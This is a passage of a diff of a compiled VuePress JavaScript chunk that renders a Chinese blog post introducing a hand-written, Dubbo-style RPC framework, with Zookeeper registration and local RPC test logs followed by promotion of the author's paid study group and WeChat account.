function"}},[s._v("close")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br")])]),t("h4",{attrs:{id:"启动服务测试"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#启动服务测试"}},[s._v("#")]),s._v(" 启动服务测试")]),s._v(" "),t("p",[s._v("(1)启动Zookeeper,这里,为了演示简单,就直接在我本机启动单机Zookeeper好了,启动后的效果如下图所示。")]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"rpc-2022-06-25-002","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-06-25-002.png",loading:"lazy"}})]),s._v(" "),t("p",[s._v("(2)启动服务提供者ServerTest类,启动后输出的日志信息如下所示。")]),s._v(" "),t("div",{staticClass:"language-bash line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-bash"}},[t("code",[t("span",{pre:!0,attrs:{class:"token number"}},[s._v("13")]),s._v(":43:36,876 INFO ConnectionStateManager:228 - State change: CONNECTED\n"),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("13")]),s._v(":43:36,905 INFO RpcClient:79 - use cglib dynamic proxy"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("..")]),s._v(".\n"),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("13")]),s._v(":43:36,942 INFO CuratorFrameworkImpl:235 - Starting\n"),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("13")]),s._v(":43:36,943 INFO ZooKeeper:868 - Initiating client connection, "),t("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("connectString")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("127.0")]),s._v(".0.1:2181 \n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br")])]),t("p",[s._v("可以看到,服务提供者已经将发布的服务注册到了Zookeeper中。")]),s._v(" "),t("p",[s._v("(3)登录Zookeeper客户端查看Zookeeper中注册的服务,如下所示。")]),s._v(" "),t("ul",[t("li",[s._v("查看HelloService接口发布的服务信息")])]),s._v(" "),t("div",{staticClass:"language-bash line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-bash"}},[t("code",[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),s._v("zk: localhost:2181"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("CONNECTED"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("5")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" get /binghe_rpc/io.binghe.rpc.test.client.HelloService"),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("#1.0.0/65eb0d7f-4bf7-4a0a-bafc-1b7e0e030353")]),s._v("\n\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"name"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.binghe.rpc.test.client.HelloService#1.0.0"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"id"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"65eb0d7f-4bf7-4a0a-bafc-1b7e0e030353"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"address"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"127.0.0.1"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"port"')]),s._v(":18866,"),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"sslPort"')]),s._v(":null,"),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"payload"')]),s._v(":"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"@class"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.binghe.rpc.center.meta.ServiceMeta"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"serviceName"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.binghe.rpc.test.client.HelloService"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"serviceVersion"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"1.0.0"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"serviceAddr"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"127.0.0.1"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"servicePort"')]),s._v(":18866"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"registrationTimeUTC"')]),s._v(":1656135817627,"),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"serviceType"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"DYNAMIC"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"uriSpec"')]),s._v(":null,"),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"enabled"')]),s._v(":true"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("ul",[t("li",[s._v("查看HelloPersonService接口发布的服务信息")])]),s._v(" "),t("div",{staticClass:"language-bash line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-bash"}},[t("code",[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),s._v("zk: localhost:2181"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("CONNECTED"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("7")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" get /binghe_rpc/io.binghe.rpc.test.client.HelloPersonService"),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("#1.0.0/882a5cdb-f581-4a83-8d56-800a8f14e831")]),s._v("\n\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"name"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.binghe.rpc.test.client.HelloPersonService#1.0.0"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"id"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"882a5cdb-f581-4a83-8d56-800a8f14e831"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"address"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"127.0.0.1"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"port"')]),s._v(":18866,"),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"sslPort"')]),s._v(":null,"),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"payload"')]),s._v(":"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"@class"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.binghe.rpc.center.meta.ServiceMeta"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"serviceName"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.binghe.rpc.test.client.HelloPersonService"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"serviceVersion"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"1.0.0"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"serviceAddr"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"127.0.0.1"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"servicePort"')]),s._v(":18866"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"registrationTimeUTC"')]),s._v(":1656135817274,"),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"serviceType"')]),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"DYNAMIC"')]),s._v(","),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"uriSpec"')]),s._v(":null,"),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"enabled"')]),s._v(":true"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("p",[s._v("通过Zookeeper客户端可以看出,HelloService接口和HelloPersonService接口发布的服务都已经被注册到Zookeeper了。")]),s._v(" "),t("p",[s._v("(4)启动服务提供者ClientTest类,实现RPC调用,输出的日志信息如下所示。")]),s._v(" "),t("div",{staticClass:"language-bash line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-bash"}},[t("code",[t("span",{pre:!0,attrs:{class:"token number"}},[s._v("13")]),s._v(":56:47,391 INFO ConnectionStateManager:228 - State change: CONNECTED\n"),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("13")]),s._v(":56:47,488 INFO RpcClient:76 - use javassist dynamic proxy"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("..")]),s._v(".\n"),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("13")]),s._v(":56:47,518 INFO ConnectionStateManager:228 - State change: CONNECTED\n"),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("13")]),s._v(":56:47,545 INFO RpcClient:79 - use cglib dynamic proxy"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("..")]),s._v(".\n"),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("13")]),s._v(":56:48,253 INFO RpcConsumer:85 - connect rpc server "),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("127.0")]),s._v(".0.1 on port "),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("18866")]),s._v(" success.\nHello"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("!")]),s._v(" binghe\nHello"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("!")]),s._v(" binghe001 binghe002\n"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),s._v(" binghe\n"),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("1")]),s._v(" binghe\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br")])]),t("p",[s._v("可以看到,在ClientTest类的命令行输出了远程调用的结果信息。并输出了调用HelloService接口的远程方法使用的是javassist动态代理。调用HelloPersonService接口的远程方法使用的是cglib动态代理。")]),s._v(" "),t("p",[s._v("咱们一起手撸的RPC框架其实还有很多非常强大的功能,这里,就不一一演示了,后面咱们都会一起手撸来实现它。")]),s._v(" "),t("h2",{attrs:{id:"一点点建议"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#一点点建议"}},[s._v("#")]),s._v(" 一点点建议")]),s._v(" "),t("p",[s._v("咱们这个专栏属于实战类型比较强的专栏,加上咱们一起从零开始手撸的RPC框架会涉及众多的知识点。正所谓纸上得来终觉浅,绝知此事要躬行。冰河希望大家在学习这个专栏的时候勤动手,跟着专栏一起实现代码。期间要多动脑,多总结,这样才能够加深对各项知识点的理解。切忌眼高手低,学了半天却最终啥也没学会。")]),s._v(" "),t("p",[t("strong",[s._v("好了,今天的开篇文章就到这儿吧,如果文章对你有点帮助,记得给冰河一键三连哦,欢迎将文章转发给更多的小伙伴,冰河将不胜感激~~")])]),s._v(" "),t("h2",{attrs:{id:"一起出发"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#一起出发"}},[s._v("#")]),s._v(" 一起出发")]),s._v(" "),t("p",[s._v("我会将《RPC手撸专栏》的源码获取方式放到知识星球中,同时在微信上会创建专门的知识星球群,冰河会在知识星球上和星球群里解答球友的提问。")]),s._v(" "),t("p",[t("strong",[s._v("欢迎大家将文章或者星球转发到群里或者朋友圈,这些内容冰河将用下班、周末、假期的时间不断完善。通过视频+文章+知识小册+直播+作业的形式与你一起学习、提升和进步,最终的目的就是提升你的技术实力,让你在职场走的更远,顺便多赚些钱。")])]),s._v(" "),t("h3",{attrs:{id:"星球提供的服务"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#星球提供的服务"}},[s._v("#")]),s._v(" 星球提供的服务")]),s._v(" "),t("p",[s._v("冰河整理了星球提供的一些服务,如下所示。")]),s._v(" "),t("p",[s._v("加入星球,你将获得:")]),s._v(" "),t("p",[s._v("1.学习从零开始手撸可用于实际场景的高性能RPC框架项目(火热进行中)")]),s._v(" "),t("p",[s._v("2.学习SpringCloud Alibaba实战项目—从零开发微服务项目")]),s._v(" "),t("p",[s._v("3.学习高并发、大流量业务场景的解决方案,体验大厂真正的高并发、大流量的业务场景")]),s._v(" "),t("p",[s._v("4.学习进大厂必备技能:性能调优、并发编程、分布式、微服务、框架源码、中间件开发、项目实战")]),s._v(" "),t("p",[s._v("5.提供站点 https://binghe001.github.io 所有学习内容的指导、帮助")]),s._v(" "),t("p",[s._v("6.GitHub:https://github.com/binghe001/BingheGuide - 非常有价值的技术资料仓库,包括冰河所有的博客开放案例代码")]),s._v(" "),t("p",[s._v("7.可以发送你的简历到我的邮箱,提供简历批阅服务")]),s._v(" "),t("p",[s._v("8.提供技术问题、系统架构、学习成长、晋升答辩等各项内容的回答")]),s._v(" "),t("p",[s._v("9.定期的整理和分享出各类专属星球的技术小册、电子书、编程视频、PDF文件")]),s._v(" "),t("p",[s._v("10.定期组织技术直播分享,传道、授业、解惑,指导阶段瓶颈突破技巧")]),s._v(" "),t("h3",{attrs:{id:"如何加入星球"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#如何加入星球"}},[s._v("#")]),s._v(" 如何加入星球")]),s._v(" "),t("p",[s._v("加入星球:扫描优惠券二维码即可加入星球。")]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"sa-2022-04-21-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-04-28-008.png",loading:"lazy"}})]),s._v(" "),t("ul",[t("li",[t("strong",[s._v("扫码")]),s._v(" :通过扫描优惠券二维码加入星球。")]),s._v(" "),t("li",[t("strong",[s._v("链接")]),s._v(" :打开链接 "),t("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[s._v("http://m6z.cn/6aeFbs"),t("OutboundLink")],1),s._v(" 加入星球。")]),s._v(" "),t("li",[t("strong",[s._v("回复")]),s._v(" :在公众号 "),t("strong",[s._v("冰河技术")]),s._v(" 回复 "),t("strong",[s._v("星球")]),s._v(" 领取优惠券加入星球。")])]),s._v(" "),t("p",[t("strong",[s._v("特别提醒:")]),s._v(" 苹果用户进圈或续费,请加微信 "),t("strong",[s._v("hacker_binghe")]),s._v(" 扫二维码,或者去公众号 "),t("strong",[s._v("冰河技术")]),s._v(" 回复 "),t("strong",[s._v("星球")]),s._v(" 扫二维码加入星球。")]),s._v(" "),t("p",[t("strong",[s._v("好了,今天就到这儿吧,我是冰河,我们下期见~~")])]),s._v(" "),t("h2",{attrs:{id:"写在最后"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[s._v("#")]),s._v(" 写在最后")]),s._v(" "),t("p",[s._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")]),s._v(" "),t("h2",{attrs:{id:"加群交流"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#加群交流"}},[s._v("#")]),s._v(" 加群交流")]),s._v(" "),t("p",[s._v("本群的宗旨是给大家提供一个良好的技术学习交流平台,所以杜绝一切广告!由于微信群人满 100 之后无法加入,请扫描下方二维码先添加作者 “冰河” 微信(hacker_binghe),备注:"),t("code",[s._v("学习加群")]),s._v("。")]),s._v(" "),t("div",{attrs:{align:"center"}},[t("img",{attrs:{src:"https://binghe001.github.io/images/personal/hacker_binghe.jpg?raw=true",width:"180px"}}),s._v(" "),t("div",{staticStyle:{"font-size":"9px"}},[s._v("冰河微信")]),s._v(" "),t("br")]),s._v(" "),t("h2",{attrs:{id:"公众号"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#公众号"}},[s._v("#")]),s._v(" 公众号")]),s._v(" "),t("p",[s._v("分享各种编程语言、开发技术、分布式与微服务架构、分布式数据库、分布式事务、云原生、大数据与云计算技术和渗透技术。另外,还会分享各种面试题和面试技巧。内容在 "),t("strong",[s._v("冰河技术")]),s._v(" 微信公众号首发,强烈建议大家关注。")]),s._v(" "),t("div",{attrs:{align:"center"}},[t("img",{attrs:{src:"https://img-blog.csdnimg.cn/20210426115714643.jpg?raw=true",width:"180px"}}),s._v(" "),t("div",{staticStyle:{"font-size":"9px"}},[s._v("公众号:冰河技术")]),s._v(" "),t("br")]),s._v(" "),t("h2",{attrs:{id:"星球"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#星球"}},[s._v("#")]),s._v(" 星球")]),s._v(" "),t("p",[s._v("加入星球 "),t("strong",[t("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[s._v("冰河技术"),t("OutboundLink")],1)]),s._v(",可以获得本站点所有学习内容的指导与帮助。如果你遇到不能独立解决的问题,也可以添加冰河的微信:"),t("strong",[s._v("hacker_binghe")]),s._v(", 我们一起沟通交流。另外,在星球中不只能学到实用的硬核技术,还能学习"),t("strong",[s._v("实战项目")]),s._v("!")]),s._v(" "),t("p",[s._v("关注 "),t("a",{attrs:{href:"https://img-blog.csdnimg.cn/20210426115714643.jpg?raw=true",target:"_blank",rel:"noopener noreferrer"}},[s._v("冰河技术"),t("OutboundLink")],1),s._v("公众号,回复 "),t("code",[s._v("星球")]),s._v(" 可以获取入场优惠券。")]),s._v(" "),t("div",{attrs:{align:"center"}},[t("img",{attrs:{src:"https://binghe001.github.io/images/personal/xingqiu.png?raw=true",width:"180px"}}),s._v(" "),t("div",{staticStyle:{"font-size":"9px"}},[s._v("知识星球:冰河技术")]),s._v(" "),t("br")])])}),[],!1,null,null,null);t.default=e.exports}}]); \ No newline at end of file +(window.webpackJsonp=window.webpackJsonp||[]).push([[348],{644:function(s,t,a){"use strict";a.r(t);var n=a(7),e=Object(n.a)({},(function(){var s=this,t=s._self._c;return t("ContentSlotsDistributor",{attrs:{"slot-key":s.$parent.slotKey}},[t("h1",{attrs:{id:"【置顶】这次我设计了一款tps百万级别的分布式、高性能、可扩展的rpc框架"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#【置顶】这次我设计了一款tps百万级别的分布式、高性能、可扩展的rpc框架"}},[s._v("#")]),s._v(" 【置顶】这次我设计了一款TPS百万级别的分布式、高性能、可扩展的RPC框架")]),s._v(" "),t("p",[s._v("作者:冰河\n"),t("br"),s._v("星球:"),t("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[s._v("http://m6z.cn/6aeFbs"),t("OutboundLink")],1),s._v(" "),t("br"),s._v("博客:"),t("a",{attrs:{href:"https://binghe001.github.io",target:"_blank",rel:"noopener noreferrer"}},[s._v("https://binghe001.github.io"),t("OutboundLink")],1)]),s._v(" "),t("p",[t("strong",[s._v("大家好,我是冰河~~")])]),s._v(" "),t("p",[s._v("没错,这次冰河又要搞事情了,这次准备下手的是"),t("code",[s._v("RPC框架项目")]),s._v("。为什么要对"),t("code",[s._v("RPC框架项目")]),s._v("下手呢,因为在如今分布式、微服务乃至云原生不断发展的过程中,RPC作为底层必不可少的通信组件,被广泛应用在分布式、微服务和云原生项目中。")]),s._v(" "),t("h2",{attrs:{id:"为啥要开发rpc框架"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#为啥要开发rpc框架"}},[s._v("#")]),s._v(" 为啥要开发RPC框架")]),s._v(" "),t("p",[s._v("事情是这样的,在开发这个RPC框架之前,我花费了不少时间算是对Dubbo框架彻底研究透彻了。")]),s._v(" "),t("p",[s._v("冰河在撸透了Dubbo2.x和Dubbo3.x的源码之后,本来想给大家写一个Dubbo源码解析的专栏。为此,我其实私下准备了一个多月:画流程图、分析源码、写测试Demo,自己在看Dubbo源码时,也为Dubbo源码添加了非常详细的注释。这里,就包含Dubbo2.x和Dubbo3.x的源码。")]),s._v(" "),t("p",[s._v("当我就这么熬夜肝文一个多月后,突然发现一个问题:Dubbo经过多年不断的迭代开发,它的源码已经非常多了,如果以文章的形式将Dubbo的源码面面俱到的分析到位,那还不知道要写到何年何月去了。当我写文章分析Dubbo的最新版本3.x时,可能写到专栏的中后期Dubbo已经更新到4.x、5.x,设置有可能是6.x、7.x了。")]),s._v(" "),t("p",[s._v("与其这么费劲吧咧的分析源码,还不如从零开始带着大家一起手撸一个能够在实际生产环境使用的、分布式、高性能、可扩展的RPC框架。这样,大家也能够直观的感受到一个能够在实际场景使用的RPC框架是如何一步步开发出来的。")]),s._v(" "),t("p",[s._v("相信大家在学完《RPC手撸专栏》后,自己再去看Dubbo源码的话,就相对来说简单多了。"),t("strong",[s._v("你说是不是这样的呢?")])]),s._v(" "),t("h2",{attrs:{id:"你能学到什么"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#你能学到什么"}},[s._v("#")]),s._v(" 你能学到什么?")]),s._v(" "),t("p",[s._v("既然是整个专栏的开篇嘛,肯定是要告诉你在这个专栏中能够学习到哪些实用的技术的。这里,我就画一张图来直观的告诉你在《RPC手撸专栏》能够学到哪些技术吧。")]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"rpc-2022-06-25-001","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-06-25-001.png",loading:"lazy"}})]),s._v(" "),t("p",[s._v("相信小伙伴们看到《RPC手撸专栏》涉及到的知识点,应该能够了解到咱们这个从零开始的《RPC手撸专栏》还是比较硬核的吧?")]),s._v(" "),t("p",[s._v("另外,咱这RPC项目支持同步调用、异步调用、回调和单向调用。")]),s._v(" "),t("ul",[t("li",[s._v("同步调用")])]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"rpc-2022-06-30-002","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-06-30-002.png",loading:"lazy"}})]),s._v(" "),t("ul",[t("li",[s._v("异步调用")])]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"rpc-2022-06-30-003","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-06-30-003.png",loading:"lazy"}})]),s._v(" "),t("ul",[t("li",[s._v("回调")])]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"rpc-2022-06-30-004","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-06-30-004.png",loading:"lazy"}})]),s._v(" "),t("ul",[t("li",[s._v("单向调用")])]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"rpc-2022-06-30-005","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-06-30-005.png",loading:"lazy"}})]),s._v(" "),t("p",[s._v("对,没错,咱们《RPC手撸专栏》最终实现的RPC框架的定位就是尽量可以在实际环境使用。通过这个专栏的学习,让大家深入了解到能够在实际场景使用的RPC框架是如何一步步开发出来的。")]),s._v(" "),t("h2",{attrs:{id:"代码结构"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#代码结构"}},[s._v("#")]),s._v(" 代码结构")]),s._v(" "),t("p",[s._v("我将这个"),t("code",[s._v("bhrpc项目")]),s._v("的定位为可在实际场景使用的、分布式、高性能、可扩展的RPC框架,目前总体上已经开发并完善的功能达到60+个子项目,大家看图吧。")]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"rpc-2022-08-24-003","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-08-24-003.png",loading:"lazy"}})]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"rpc-2022-08-24-006","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-08-24-006.png",loading:"lazy"}})]),s._v(" "),t("p",[t("strong",[s._v("项目大量使用了对标Dubbo的自定义SPI技术实现高度可扩展性,各位小伙伴可以根据自己的需要,按照SPI的设计要求添加自己实现的自定义插件。")])]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"rpc-2022-08-24-001","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-08-24-001.jpg",loading:"lazy"}})]),s._v(" 